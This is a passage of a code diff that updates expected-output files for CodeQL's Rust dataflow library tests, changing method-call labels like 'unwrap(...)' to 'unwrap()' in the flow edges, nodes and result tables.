main.rs:500:14:500:27 | vs.into_iter(...) | element | main.rs:500:9:500:9 | v | +| main.rs:500:14:500:27 | vs.into_iter() | element | main.rs:500:9:500:9 | v | | main.rs:506:10:506:15 | vs_mut | element | main.rs:506:10:506:18 | vs_mut[0] | | main.rs:507:11:507:16 | vs_mut | &ref | main.rs:507:11:507:16 | receiver for vs_mut | -| main.rs:507:11:507:39 | ... .unwrap(...) | &ref | main.rs:507:10:507:39 | * ... | +| main.rs:507:11:507:39 | ... .unwrap() | &ref | main.rs:507:10:507:39 | * ... | | main.rs:508:11:508:16 | vs_mut | &ref | main.rs:508:11:508:16 | receiver for vs_mut | -| main.rs:508:11:508:39 | ... .unwrap(...) | &ref | main.rs:508:10:508:39 | * ... | +| main.rs:508:11:508:39 | ... .unwrap() | &ref | main.rs:508:10:508:39 | * ... | | main.rs:510:9:510:14 | &mut ... | &ref | main.rs:510:14:510:14 | v | | main.rs:510:19:510:24 | vs_mut | &ref | main.rs:510:19:510:24 | receiver for vs_mut | -| main.rs:510:19:510:35 | vs_mut.iter_mut(...) | element | main.rs:510:9:510:14 | &mut ... | +| main.rs:510:19:510:35 | vs_mut.iter_mut() | element | main.rs:510:9:510:14 | &mut ... | | main.rs:524:11:524:15 | c_ref | &ref | main.rs:524:10:524:15 | * ... | | main.rs:531:10:531:10 | a | &ref | main.rs:531:10:531:10 | receiver for a | | main.rs:537:10:537:10 | b | &ref | main.rs:537:10:537:10 | receiver for b | diff --git a/rust/ql/test/library-tests/dataflow/local/inline-flow.expected b/rust/ql/test/library-tests/dataflow/local/inline-flow.expected index b69ba66b625..80469e0b399 100644 --- a/rust/ql/test/library-tests/dataflow/local/inline-flow.expected +++ b/rust/ql/test/library-tests/dataflow/local/inline-flow.expected @@ -95,7 +95,7 @@ edges | main.rs:229:11:229:12 | s1 [Some] | main.rs:230:9:230:15 | Some(...) [Some] | provenance | | | main.rs:230:9:230:15 | Some(...) [Some] | main.rs:230:14:230:14 | n | provenance | | | main.rs:230:14:230:14 | n | main.rs:230:25:230:25 | n | provenance | | -| main.rs:240:9:240:10 | s1 [Some] | main.rs:241:10:241:20 | s1.unwrap(...) | provenance | MaD:2 | +| main.rs:240:9:240:10 | s1 [Some] | main.rs:241:10:241:20 | s1.unwrap() | provenance | MaD:2 | | main.rs:240:14:240:29 | Some(...) [Some] | main.rs:240:9:240:10 | s1 [Some] | provenance | | | main.rs:240:19:240:28 | source(...) | main.rs:240:14:240:29 | Some(...) [Some] | provenance | | | main.rs:245:9:245:10 | s1 [Some] | main.rs:246:10:246:24 | s1.unwrap_or(...) | provenance | MaD:4 | @@ -112,16 +112,16 @@ edges | main.rs:263:9:263:10 | i1 | main.rs:264:10:264:11 | i1 | provenance | | | main.rs:263:14:263:15 | s1 [Some] | main.rs:263:14:263:16 | TryExpr | provenance | | | main.rs:263:14:263:16 | TryExpr | main.rs:263:9:263:10 | i1 | provenance | | -| main.rs:270:9:270:10 | r1 [Ok] | main.rs:271:29:271:35 | r1.ok(...) [Some] | provenance | MaD:10 | +| main.rs:270:9:270:10 | r1 [Ok] | main.rs:271:29:271:35 | r1.ok() [Some] | provenance | MaD:10 | | main.rs:270:33:270:46 | Ok(...) [Ok] | main.rs:270:9:270:10 | r1 [Ok] | provenance | | | main.rs:270:36:270:45 | source(...) | main.rs:270:33:270:46 | Ok(...) [Ok] | provenance | | -| main.rs:271:9:271:11 | o1a [Some] | main.rs:273:10:273:21 | o1a.unwrap(...) | provenance | MaD:2 | -| main.rs:271:29:271:35 | r1.ok(...) [Some] | main.rs:271:9:271:11 | o1a [Some] | provenance | | -| main.rs:276:9:276:10 | r2 [Err] | main.rs:278:29:278:36 | r2.err(...) [Some] | provenance | MaD:7 | +| main.rs:271:9:271:11 | o1a [Some] | main.rs:273:10:273:21 | o1a.unwrap() | provenance | MaD:2 | +| main.rs:271:29:271:35 | r1.ok() [Some] | main.rs:271:9:271:11 | o1a [Some] | provenance | | +| main.rs:276:9:276:10 | r2 [Err] | main.rs:278:29:278:36 | r2.err() [Some] | provenance | MaD:7 | | main.rs:276:33:276:47 | Err(...) [Err] | main.rs:276:9:276:10 | r2 [Err] | provenance | | | main.rs:276:37:276:46 | source(...) | main.rs:276:33:276:47 | Err(...) [Err] | provenance | | -| main.rs:278:9:278:11 | o2b [Some] | main.rs:280:10:280:21 | o2b.unwrap(...) | provenance | MaD:2 | -| main.rs:278:29:278:36 | r2.err(...) [Some] | main.rs:278:9:278:11 | o2b [Some] | provenance | | +| main.rs:278:9:278:11 | o2b [Some] | main.rs:280:10:280:21 | o2b.unwrap() | provenance | MaD:2 | +| main.rs:278:29:278:36 | r2.err() [Some] | main.rs:278:9:278:11 | o2b [Some] | provenance | | | main.rs:284:9:284:10 | s1 [Ok] | main.rs:287:14:287:15 | s1 [Ok] | provenance | | | main.rs:284:32:284:45 | Ok(...) [Ok] | main.rs:284:9:284:10 | s1 [Ok] | provenance | | | main.rs:284:35:284:44 | source(...) | main.rs:284:32:284:45 | Ok(...) [Ok] | provenance | | @@ -342,7 +342,7 @@ nodes | main.rs:240:9:240:10 | s1 [Some] | semmle.label | s1 [Some] | | main.rs:240:14:240:29 | Some(...) [Some] | semmle.label | Some(...) [Some] | | main.rs:240:19:240:28 | source(...) | semmle.label | source(...) | -| main.rs:241:10:241:20 | s1.unwrap(...) | semmle.label | s1.unwrap(...) | +| main.rs:241:10:241:20 | s1.unwrap() | semmle.label | s1.unwrap() | | main.rs:245:9:245:10 | s1 [Some] | semmle.label | s1 [Some] | | main.rs:245:14:245:29 | Some(...) [Some] | semmle.label | Some(...) [Some] | | main.rs:245:19:245:28 | source(...) | semmle.label | source(...) | @@ -366,14 +366,14 @@ nodes | main.rs:270:33:270:46 | Ok(...) [Ok] | semmle.label | Ok(...) [Ok] | | main.rs:270:36:270:45 | source(...) | semmle.label | source(...) | | main.rs:271:9:271:11 | o1a [Some] | semmle.label | o1a [Some] | -| main.rs:271:29:271:35 | r1.ok(...) [Some] | semmle.label | r1.ok(...) [Some] | -| main.rs:273:10:273:21 | o1a.unwrap(...) | semmle.label | o1a.unwrap(...) | +| main.rs:271:29:271:35 | r1.ok() [Some] | semmle.label | r1.ok() [Some] | +| main.rs:273:10:273:21 | o1a.unwrap() | semmle.label | o1a.unwrap() | | main.rs:276:9:276:10 | r2 [Err] | semmle.label | r2 [Err] | | main.rs:276:33:276:47 | Err(...) [Err] | semmle.label | Err(...) [Err] | | main.rs:276:37:276:46 | source(...) | semmle.label | source(...) | | main.rs:278:9:278:11 | o2b [Some] | semmle.label | o2b [Some] | -| main.rs:278:29:278:36 | r2.err(...) [Some] | semmle.label | r2.err(...) [Some] | -| main.rs:280:10:280:21 | o2b.unwrap(...) | semmle.label | o2b.unwrap(...) | +| main.rs:278:29:278:36 | r2.err() [Some] | semmle.label | r2.err() [Some] | +| main.rs:280:10:280:21 | o2b.unwrap() | semmle.label | o2b.unwrap() | | main.rs:284:9:284:10 | s1 [Ok] | semmle.label | s1 [Ok] | | main.rs:284:32:284:45 | Ok(...) [Ok] | semmle.label | Ok(...) [Ok] | | main.rs:284:35:284:44 | source(...) | semmle.label | source(...) | @@ -528,14 +528,14 @@ testFailures | main.rs:204:18:204:18 | x | main.rs:198:27:198:36 | source(...) | main.rs:204:18:204:18 | x | $@ | main.rs:198:27:198:36 | source(...) | source(...) | | main.rs:217:33:217:33 | n | main.rs:214:27:214:36 | source(...) | main.rs:217:33:217:33 | n | $@ | main.rs:214:27:214:36 | source(...) | source(...) | | main.rs:230:25:230:25 | n | main.rs:227:19:227:28 | source(...) | main.rs:230:25:230:25 | n | $@ | main.rs:227:19:227:28 | source(...) | source(...) | -| main.rs:241:10:241:20 | s1.unwrap(...) | main.rs:240:19:240:28 | source(...) | main.rs:241:10:241:20 | s1.unwrap(...) | $@ | main.rs:240:19:240:28 | source(...) | source(...) | +| main.rs:241:10:241:20 | s1.unwrap() | main.rs:240:19:240:28 | source(...) | main.rs:241:10:241:20 | s1.unwrap() | $@ | main.rs:240:19:240:28 | source(...) | source(...) | | main.rs:246:10:246:24 | s1.unwrap_or(...) | main.rs:245:19:245:28 | source(...) | main.rs:246:10:246:24 | s1.unwrap_or(...) | $@ | main.rs:245:19:245:28 | source(...) | source(...) | | main.rs:249:10:249:33 | s2.unwrap_or(...) | main.rs:249:23:249:32 | source(...) | main.rs:249:10:249:33 | s2.unwrap_or(...) | $@ | main.rs:249:23:249:32 | source(...) | source(...) | | main.rs:254:10:254:32 | s1.unwrap_or_else(...) | main.rs:253:19:253:28 | source(...) | main.rs:254:10:254:32 | s1.unwrap_or_else(...) | $@ | main.rs:253:19:253:28 | source(...) | source(...) | | main.rs:257:10:257:41 | s2.unwrap_or_else(...) | main.rs:257:31:257:40 | source(...) | main.rs:257:10:257:41 | s2.unwrap_or_else(...) | $@ | main.rs:257:31:257:40 | source(...) | source(...) | | main.rs:264:10:264:11 | i1 | main.rs:261:19:261:28 | source(...) | main.rs:264:10:264:11 | i1 | $@ | main.rs:261:19:261:28 | source(...) | source(...) | -| main.rs:273:10:273:21 | o1a.unwrap(...) | main.rs:270:36:270:45 | source(...) | main.rs:273:10:273:21 | o1a.unwrap(...) | $@ | main.rs:270:36:270:45 | source(...) | source(...) | -| main.rs:280:10:280:21 | o2b.unwrap(...) | main.rs:276:37:276:46 | source(...) | main.rs:280:10:280:21 | o2b.unwrap(...) | $@ | main.rs:276:37:276:46 | source(...) | source(...) | +| main.rs:273:10:273:21 | o1a.unwrap() | main.rs:270:36:270:45 | source(...) | main.rs:273:10:273:21 | o1a.unwrap() | $@ | main.rs:270:36:270:45 | source(...) | source(...) | +| main.rs:280:10:280:21 | o2b.unwrap() | main.rs:276:37:276:46 | source(...) | main.rs:280:10:280:21 | o2b.unwrap() | $@ | main.rs:276:37:276:46 | source(...) | source(...) | | main.rs:289:10:289:11 | i1 | main.rs:284:35:284:44 | source(...) | main.rs:289:10:289:11 | i1 | $@ | main.rs:284:35:284:44 | source(...) | source(...) | | main.rs:298:10:298:22 | s1.expect(...) | main.rs:297:35:297:44 | source(...) | main.rs:298:10:298:22 | s1.expect(...) | $@ | main.rs:297:35:297:44 | source(...) | source(...) | | main.rs:303:10:303:26 | s2.expect_err(...) | main.rs:301:36:301:45 | source(...) | main.rs:303:10:303:26 | s2.expect_err(...) | $@ | main.rs:301:36:301:45 | source(...) | source(...) | diff --git a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected index 2bfeb4dea73..a7d350ee5ac 100644 --- a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected +++ b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected @@ -7,34 +7,34 @@ models | 6 | Summary: lang:core; crate::ptr::read; Argument[0].Reference; ReturnValue; value | | 7 | Summary: lang:core; crate::ptr::write; Argument[1]; Argument[0].Reference; value | edges -| main.rs:12:9:12:9 | a [Some] | main.rs:13:10:13:19 | a.unwrap(...) | provenance | MaD:2 | -| main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:21 | a.clone(...) [Some] | provenance | MaD:1 | -| main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:21 | a.clone(...) [Some] | provenance | generated | +| main.rs:12:9:12:9 | a [Some] | main.rs:13:10:13:19 | a.unwrap() | provenance | MaD:2 | +| main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:21 | a.clone() [Some] | provenance | MaD:1 | +| main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:21 | a.clone() [Some] | provenance | generated | | main.rs:12:13:12:28 | Some(...) [Some] | main.rs:12:9:12:9 | a [Some] | provenance | | | main.rs:12:18:12:27 | source(...) | main.rs:12:13:12:28 | Some(...) [Some] | provenance | | -| main.rs:14:9:14:9 | b [Some] | main.rs:15:10:15:19 | b.unwrap(...) | provenance | MaD:2 | -| main.rs:14:13:14:21 | a.clone(...) [Some] | main.rs:14:9:14:9 | b [Some] | provenance | | -| main.rs:19:9:19:9 | a [Ok] | main.rs:20:10:20:19 | a.unwrap(...) | provenance | MaD:5 | -| main.rs:19:9:19:9 | a [Ok] | main.rs:21:13:21:21 | a.clone(...) [Ok] | provenance | MaD:4 | -| main.rs:19:9:19:9 | a [Ok] | main.rs:21:13:21:21 | a.clone(...) [Ok] | provenance | generated | +| main.rs:14:9:14:9 | b [Some] | main.rs:15:10:15:19 | b.unwrap() | provenance | MaD:2 | +| main.rs:14:13:14:21 | a.clone() [Some] | main.rs:14:9:14:9 | b [Some] | provenance | | +| main.rs:19:9:19:9 | a [Ok] | main.rs:20:10:20:19 | a.unwrap() | provenance | MaD:5 | +| main.rs:19:9:19:9 | a [Ok] | main.rs:21:13:21:21 | a.clone() [Ok] | provenance | MaD:4 | +| main.rs:19:9:19:9 | a [Ok] | main.rs:21:13:21:21 | a.clone() [Ok] | provenance | generated | | main.rs:19:31:19:44 | Ok(...) [Ok] | main.rs:19:9:19:9 | a [Ok] | provenance | | | main.rs:19:34:19:43 | source(...) | main.rs:19:31:19:44 | Ok(...) [Ok] | provenance | | -| main.rs:21:9:21:9 | b [Ok] | main.rs:22:10:22:19 | b.unwrap(...) | provenance | MaD:5 | -| main.rs:21:13:21:21 | a.clone(...) [Ok] | main.rs:21:9:21:9 | b [Ok] | provenance | | +| main.rs:21:9:21:9 | b [Ok] | main.rs:22:10:22:19 | b.unwrap() | provenance | MaD:5 | +| main.rs:21:13:21:21 | a.clone() [Ok] | main.rs:21:9:21:9 | b [Ok] | provenance | | | main.rs:26:9:26:9 | a | main.rs:27:10:27:10 | a | provenance | | -| main.rs:26:9:26:9 | a | main.rs:28:13:28:21 | a.clone(...) | provenance | generated | +| main.rs:26:9:26:9 | a | main.rs:28:13:28:21 | a.clone() | provenance | generated | | main.rs:26:13:26:22 | source(...) | main.rs:26:9:26:9 | a | provenance | | | main.rs:28:9:28:9 | b | main.rs:29:10:29:10 | b | provenance | | -| main.rs:28:13:28:21 | a.clone(...) | main.rs:28:9:28:9 | b | provenance | | +| main.rs:28:13:28:21 | a.clone() | main.rs:28:9:28:9 | b | provenance | | | main.rs:41:13:41:13 | w [Wrapper] | main.rs:42:15:42:15 | w [Wrapper] | provenance | | | main.rs:41:17:41:41 | Wrapper {...} [Wrapper] | main.rs:41:13:41:13 | w [Wrapper] | provenance | | | main.rs:41:30:41:39 | source(...) | main.rs:41:17:41:41 | Wrapper {...} [Wrapper] | provenance | | | main.rs:42:15:42:15 | w [Wrapper] | main.rs:43:13:43:28 | Wrapper {...} [Wrapper] | provenance | | -| main.rs:42:15:42:15 | w [Wrapper] | main.rs:45:17:45:25 | w.clone(...) [Wrapper] | provenance | generated | +| main.rs:42:15:42:15 | w [Wrapper] | main.rs:45:17:45:25 | w.clone() [Wrapper] | provenance | generated | | main.rs:43:13:43:28 | Wrapper {...} [Wrapper] | main.rs:43:26:43:26 | n | provenance | | | main.rs:43:26:43:26 | n | main.rs:43:38:43:38 | n | provenance | | | main.rs:45:13:45:13 | u [Wrapper] | main.rs:46:15:46:15 | u [Wrapper] | provenance | | -| main.rs:45:17:45:25 | w.clone(...) [Wrapper] | main.rs:45:13:45:13 | u [Wrapper] | provenance | | +| main.rs:45:17:45:25 | w.clone() [Wrapper] | main.rs:45:13:45:13 | u [Wrapper] | provenance | | | main.rs:46:15:46:15 | u [Wrapper] | main.rs:47:13:47:28 | Wrapper {...} [Wrapper] | provenance | | | main.rs:47:13:47:28 | Wrapper {...} [Wrapper] | main.rs:47:26:47:26 | n | provenance | | | main.rs:47:26:47:26 | n | main.rs:47:38:47:38 | n | provenance | | @@ -55,22 +55,22 @@ nodes | main.rs:12:9:12:9 | a [Some] | semmle.label | a [Some] | | main.rs:12:13:12:28 | Some(...) [Some] | semmle.label | Some(...) [Some] | | main.rs:12:18:12:27 | source(...) | semmle.label | source(...) | -| main.rs:13:10:13:19 | a.unwrap(...) | semmle.label | a.unwrap(...) | +| main.rs:13:10:13:19 | a.unwrap() | semmle.label | a.unwrap() | | main.rs:14:9:14:9 | b [Some] | semmle.label | b [Some] | -| main.rs:14:13:14:21 | a.clone(...) [Some] | semmle.label | a.clone(...) [Some] | -| main.rs:15:10:15:19 | b.unwrap(...) | semmle.label | b.unwrap(...) | +| main.rs:14:13:14:21 | a.clone() [Some] | semmle.label | a.clone() [Some] | +| main.rs:15:10:15:19 | b.unwrap() | semmle.label | b.unwrap() | | main.rs:19:9:19:9 | a [Ok] | semmle.label | a [Ok] | | main.rs:19:31:19:44 | Ok(...) [Ok] | semmle.label | Ok(...) [Ok] | | main.rs:19:34:19:43 | source(...) | semmle.label | source(...) | -| main.rs:20:10:20:19 | a.unwrap(...) | semmle.label | a.unwrap(...) | +| main.rs:20:10:20:19 | a.unwrap() | semmle.label | a.unwrap() | | main.rs:21:9:21:9 | b [Ok] | semmle.label | b [Ok] | -| main.rs:21:13:21:21 | a.clone(...) [Ok] | semmle.label | a.clone(...) [Ok] | -| main.rs:22:10:22:19 | b.unwrap(...) | semmle.label | b.unwrap(...) | +| main.rs:21:13:21:21 | a.clone() [Ok] | semmle.label | a.clone() [Ok] | +| main.rs:22:10:22:19 | b.unwrap() | semmle.label | b.unwrap() | | main.rs:26:9:26:9 | a | semmle.label | a | | main.rs:26:13:26:22 | source(...) | semmle.label | source(...) | | main.rs:27:10:27:10 | a | semmle.label | a | | main.rs:28:9:28:9 | b | semmle.label | b | -| main.rs:28:13:28:21 | a.clone(...) | semmle.label | a.clone(...) | +| main.rs:28:13:28:21 | a.clone() | semmle.label | a.clone() | | main.rs:29:10:29:10 | b | semmle.label | b | | main.rs:41:13:41:13 | w [Wrapper] | semmle.label | w [Wrapper] | | main.rs:41:17:41:41 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] | @@ -80,7 +80,7 @@ nodes | main.rs:43:26:43:26 | n | semmle.label | n | | main.rs:43:38:43:38 | n | semmle.label | n | | main.rs:45:13:45:13 | u [Wrapper] | semmle.label | u [Wrapper] | -| main.rs:45:17:45:25 | w.clone(...) [Wrapper] | semmle.label | w.clone(...) [Wrapper] | +| main.rs:45:17:45:25 | w.clone() [Wrapper] | semmle.label | w.clone() [Wrapper] | | main.rs:46:15:46:15 | u [Wrapper] | semmle.label | u [Wrapper] | | main.rs:47:13:47:28 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] | | main.rs:47:26:47:26 | n | semmle.label | n | @@ -103,10 +103,10 @@ nodes subpaths testFailures #select -| main.rs:13:10:13:19 | a.unwrap(...) | main.rs:12:18:12:27 | source(...) | main.rs:13:10:13:19 | a.unwrap(...) | $@ | main.rs:12:18:12:27 | source(...) | source(...) | -| main.rs:15:10:15:19 | b.unwrap(...) | main.rs:12:18:12:27 | source(...) | main.rs:15:10:15:19 | b.unwrap(...) | $@ | main.rs:12:18:12:27 | source(...) | source(...) | -| main.rs:20:10:20:19 | a.unwrap(...) | main.rs:19:34:19:43 | source(...) | main.rs:20:10:20:19 | a.unwrap(...) | $@ | main.rs:19:34:19:43 | source(...) | source(...) | -| main.rs:22:10:22:19 | b.unwrap(...) | main.rs:19:34:19:43 | source(...) | main.rs:22:10:22:19 | b.unwrap(...) | $@ | main.rs:19:34:19:43 | source(...) | source(...) | +| main.rs:13:10:13:19 | a.unwrap() | main.rs:12:18:12:27 | source(...) | main.rs:13:10:13:19 | a.unwrap() | $@ | main.rs:12:18:12:27 | source(...) | source(...) | +| main.rs:15:10:15:19 | b.unwrap() | main.rs:12:18:12:27 | source(...) | main.rs:15:10:15:19 | b.unwrap() | $@ | main.rs:12:18:12:27 | source(...) | source(...) | +| main.rs:20:10:20:19 | a.unwrap() | main.rs:19:34:19:43 | source(...) | main.rs:20:10:20:19 | a.unwrap() | $@ | main.rs:19:34:19:43 | source(...) | source(...) | +| main.rs:22:10:22:19 | b.unwrap() | main.rs:19:34:19:43 | source(...) | main.rs:22:10:22:19 | b.unwrap() | $@ | main.rs:19:34:19:43 | source(...) | source(...) | | main.rs:27:10:27:10 | a | main.rs:26:13:26:22 | source(...) | main.rs:27:10:27:10 | a | $@ | main.rs:26:13:26:22 | source(...) | source(...) | | main.rs:29:10:29:10 | b | main.rs:26:13:26:22 | source(...) | main.rs:29:10:29:10 | b | $@ | main.rs:26:13:26:22 | source(...) | source(...) | | main.rs:43:38:43:38 | n | main.rs:41:30:41:39 | source(...) | main.rs:43:38:43:38 | n | $@ | main.rs:41:30:41:39 | source(...) | source(...) | diff --git a/rust/ql/test/library-tests/dataflow/pointers/inline-flow.expected b/rust/ql/test/library-tests/dataflow/pointers/inline-flow.expected index 450d33d3998..8da24883ea7 100644 --- a/rust/ql/test/library-tests/dataflow/pointers/inline-flow.expected +++ b/rust/ql/test/library-tests/dataflow/pointers/inline-flow.expected @@ -61,26 +61,26 @@ edges | main.rs:164:14:164:39 | ...::MyNumber(...) [MyNumber] | main.rs:164:33:164:38 | number | provenance | | | main.rs:164:33:164:38 | number | main.rs:162:26:166:5 | { ... } | provenance | | | main.rs:174:13:174:21 | my_number [MyNumber] | main.rs:156:18:156:21 | SelfParam [MyNumber] | provenance | | -| main.rs:174:13:174:21 | my_number [MyNumber] | main.rs:175:14:175:34 | my_number.to_number(...) | provenance | | +| main.rs:174:13:174:21 | my_number [MyNumber] | main.rs:175:14:175:34 | my_number.to_number() | provenance | | | main.rs:174:25:174:54 | ...::MyNumber(...) [MyNumber] | main.rs:174:13:174:21 | my_number [MyNumber] | provenance | | | main.rs:174:44:174:53 | source(...) | main.rs:174:25:174:54 | ...::MyNumber(...) [MyNumber] | provenance | | | main.rs:179:13:179:21 | my_number [MyNumber] | main.rs:180:16:180:24 | my_number [MyNumber] | provenance | | | main.rs:179:25:179:54 | ...::MyNumber(...) [MyNumber] | main.rs:179:13:179:21 | my_number [MyNumber] | provenance | | | main.rs:179:44:179:53 | source(...) | main.rs:179:25:179:54 | ...::MyNumber(...) [MyNumber] | provenance | | | main.rs:180:15:180:24 | &my_number [&ref, MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | provenance | | -| main.rs:180:15:180:24 | &my_number [&ref, MyNumber] | main.rs:180:14:180:31 | ... .get(...) | provenance | | +| main.rs:180:15:180:24 | &my_number [&ref, MyNumber] | main.rs:180:14:180:31 | ... .get() | provenance | | | main.rs:180:16:180:24 | my_number [MyNumber] | main.rs:180:15:180:24 | &my_number [&ref, MyNumber] | provenance | | | main.rs:184:13:184:21 | my_number [MyNumber] | main.rs:186:14:186:22 | my_number [MyNumber] | provenance | | | main.rs:184:25:184:54 | ...::MyNumber(...) [MyNumber] | main.rs:184:13:184:21 | my_number [MyNumber] | provenance | | | main.rs:184:44:184:53 | source(...) | main.rs:184:25:184:54 | ...::MyNumber(...) [MyNumber] | provenance | | | main.rs:186:14:186:22 | my_number [MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | provenance | | -| main.rs:186:14:186:22 | my_number [MyNumber] | main.rs:186:14:186:28 | my_number.get(...) | provenance | | +| main.rs:186:14:186:22 | my_number [MyNumber] | main.rs:186:14:186:28 | my_number.get() | provenance | | | main.rs:190:13:190:21 | my_number [&ref, MyNumber] | main.rs:192:14:192:22 | my_number [&ref, MyNumber] | provenance | | | main.rs:190:25:190:55 | &... [&ref, MyNumber] | main.rs:190:13:190:21 | my_number [&ref, MyNumber] | provenance | | | main.rs:190:26:190:55 | ...::MyNumber(...) [MyNumber] | main.rs:190:25:190:55 | &... [&ref, MyNumber] | provenance | | | main.rs:190:45:190:54 | source(...) | main.rs:190:26:190:55 | ...::MyNumber(...) [MyNumber] | provenance | | | main.rs:192:14:192:22 | my_number [&ref, MyNumber] | main.rs:156:18:156:21 | SelfParam [MyNumber] | provenance | | -| main.rs:192:14:192:22 | my_number [&ref, MyNumber] | main.rs:192:14:192:34 | my_number.to_number(...) | provenance | | +| main.rs:192:14:192:22 | my_number [&ref, MyNumber] | main.rs:192:14:192:34 | my_number.to_number() | provenance | | | main.rs:200:29:200:38 | ...: i64 | main.rs:201:14:201:18 | value | provenance | | | main.rs:201:10:201:10 | [post] n [&ref] | main.rs:200:16:200:26 | ...: ... [Return] [&ref] | provenance | | | main.rs:201:14:201:18 | value | main.rs:201:10:201:10 | [post] n [&ref] | provenance | | @@ -106,9 +106,9 @@ edges | main.rs:234:36:234:45 | source(...) | main.rs:228:37:228:47 | ...: i64 | provenance | | | main.rs:234:36:234:45 | source(...) | main.rs:234:20:234:33 | [post] &mut my_number [&ref, MyNumber] | provenance | | | main.rs:235:14:235:22 | my_number [MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | provenance | | -| main.rs:235:14:235:22 | my_number [MyNumber] | main.rs:235:14:235:28 | my_number.get(...) | provenance | | +| main.rs:235:14:235:22 | my_number [MyNumber] | main.rs:235:14:235:28 | my_number.get() | provenance | | | main.rs:237:14:237:22 | my_number [MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | provenance | | -| main.rs:237:14:237:22 | my_number [MyNumber] | main.rs:237:14:237:28 | my_number.get(...) | provenance | | +| main.rs:237:14:237:22 | my_number [MyNumber] | main.rs:237:14:237:28 | my_number.get() | provenance | | | main.rs:243:9:243:17 | [post] my_number [MyNumber] | main.rs:244:24:244:32 | my_number [MyNumber] | provenance | | | main.rs:243:9:243:17 | [post] my_number [MyNumber] | main.rs:246:24:246:32 | my_number [MyNumber] | provenance | | | main.rs:243:23:243:32 | source(...) | main.rs:223:27:223:37 | ...: i64 | provenance | | @@ -201,24 +201,24 @@ nodes | main.rs:174:13:174:21 | my_number [MyNumber] | semmle.label | my_number [MyNumber] | | main.rs:174:25:174:54 | ...::MyNumber(...) [MyNumber] | semmle.label | ...::MyNumber(...) [MyNumber] | | main.rs:174:44:174:53 | source(...) | semmle.label | source(...) | -| main.rs:175:14:175:34 | my_number.to_number(...) | semmle.label | my_number.to_number(...) | +| main.rs:175:14:175:34 | my_number.to_number() | semmle.label | my_number.to_number() | | main.rs:179:13:179:21 | my_number [MyNumber] | semmle.label | my_number [MyNumber] | | main.rs:179:25:179:54 | ...::MyNumber(...) [MyNumber] | semmle.label | ...::MyNumber(...) [MyNumber] | | main.rs:179:44:179:53 | source(...) | semmle.label | source(...) | -| main.rs:180:14:180:31 | ... .get(...) | semmle.label | ... .get(...) | +| main.rs:180:14:180:31 | ... .get() | semmle.label | ... .get() | | main.rs:180:15:180:24 | &my_number [&ref, MyNumber] | semmle.label | &my_number [&ref, MyNumber] | | main.rs:180:16:180:24 | my_number [MyNumber] | semmle.label | my_number [MyNumber] | | main.rs:184:13:184:21 | my_number [MyNumber] | semmle.label | my_number [MyNumber] | | main.rs:184:25:184:54 | ...::MyNumber(...) [MyNumber] | semmle.label | ...::MyNumber(...) [MyNumber] | | main.rs:184:44:184:53 | source(...) | semmle.label | source(...) | | main.rs:186:14:186:22 | my_number [MyNumber] | semmle.label | my_number [MyNumber] | -| main.rs:186:14:186:28 | my_number.get(...) | semmle.label | my_number.get(...) | +| main.rs:186:14:186:28 | my_number.get() | semmle.label | my_number.get() | | main.rs:190:13:190:21 | my_number [&ref, MyNumber] | semmle.label | my_number [&ref, MyNumber] | | main.rs:190:25:190:55 | &... [&ref, MyNumber] | semmle.label | &... [&ref, MyNumber] | | main.rs:190:26:190:55 | ...::MyNumber(...) [MyNumber] | semmle.label | ...::MyNumber(...) [MyNumber] | | main.rs:190:45:190:54 | source(...) | semmle.label | source(...) | | main.rs:192:14:192:22 | my_number [&ref, MyNumber] | semmle.label | my_number [&ref, MyNumber] | -| main.rs:192:14:192:34 | my_number.to_number(...) | semmle.label | my_number.to_number(...) | +| main.rs:192:14:192:34 | my_number.to_number() | semmle.label | my_number.to_number() | | main.rs:200:16:200:26 | ...: ... [Return] [&ref] | semmle.label | ...: ... [Return] [&ref] | | main.rs:200:29:200:38 | ...: i64 | semmle.label | ...: i64 | | main.rs:201:10:201:10 | [post] n [&ref] | semmle.label | [post] n [&ref] | @@ -245,9 +245,9 @@ nodes | main.rs:234:25:234:33 | [post] my_number [MyNumber] | semmle.label | [post] my_number [MyNumber] | | main.rs:234:36:234:45 | source(...) | semmle.label | source(...) | | main.rs:235:14:235:22 | my_number [MyNumber] | semmle.label | my_number [MyNumber] | -| main.rs:235:14:235:28 | my_number.get(...) | semmle.label | my_number.get(...) | +| main.rs:235:14:235:28 | my_number.get() | semmle.label | my_number.get() | | main.rs:237:14:237:22 | my_number [MyNumber] | semmle.label | my_number [MyNumber] | -| main.rs:237:14:237:28 | my_number.get(...) | semmle.label | my_number.get(...) | +| main.rs:237:14:237:28 | my_number.get() | semmle.label | my_number.get() | | main.rs:243:9:243:17 | [post] my_number [MyNumber] | semmle.label | [post] my_number [MyNumber] | | main.rs:243:23:243:32 | source(...) | semmle.label | source(...) | | main.rs:244:14:244:33 | to_number(...) | semmle.label | to_number(...) | @@ -262,15 +262,15 @@ nodes | main.rs:255:14:255:33 | to_number(...) | semmle.label | to_number(...) | | main.rs:255:24:255:32 | my_number [MyNumber] | semmle.label | my_number [MyNumber] | subpaths -| main.rs:174:13:174:21 | my_number [MyNumber] | main.rs:156:18:156:21 | SelfParam [MyNumber] | main.rs:156:31:160:5 | { ... } | main.rs:175:14:175:34 | my_number.to_number(...) | -| main.rs:180:15:180:24 | &my_number [&ref, MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | main.rs:162:26:166:5 | { ... } | main.rs:180:14:180:31 | ... .get(...) | -| main.rs:186:14:186:22 | my_number [MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | main.rs:162:26:166:5 | { ... } | main.rs:186:14:186:28 | my_number.get(...) | -| main.rs:192:14:192:22 | my_number [&ref, MyNumber] | 